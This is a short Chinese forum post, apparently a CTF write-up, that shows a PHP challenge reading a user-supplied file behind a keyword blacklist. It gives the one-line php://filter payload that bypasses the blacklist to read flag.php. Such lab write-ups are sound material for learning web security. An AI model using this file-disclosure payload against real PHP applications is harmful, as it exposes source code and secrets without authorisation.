CTF-29解题思路

Track-子羽   ·   发表于 2021-11-17 15:19:13   ·   CTF&WP专版

源码分析:

  1. <?php
  2. error_reporting(0);
  3. highlight_file(__FILE__);
  4. function filter($file)
  5. {
  6. if(preg_match('/compress|root|zip|convert|\.\.\/|http|https|data|data|rot13|base64|string/i',$file))
  7. {
  8. die('hacker!');
  9. }
  10. else
  11. {
  12. return $file;
  13. }
  14. }
  15. $file=$_GET['file'];
  16. echo "flag in flag.php!";
  17. if(! is_file($file))
  18. {
  19. highlight_file(filter($file));
  20. }
  21. else
  22. {
  23. echo "hacker!";
  24. }

payload:

  1. ?file=php://filter/resource=flag.php

打赏我,让我更有动力~

0 条回复   |  直到 2021-11-17 | 562 次浏览
登录后才可发表内容
返回顶部 投诉反馈

© 2016 - 2024 掌控者 All Rights Reserved.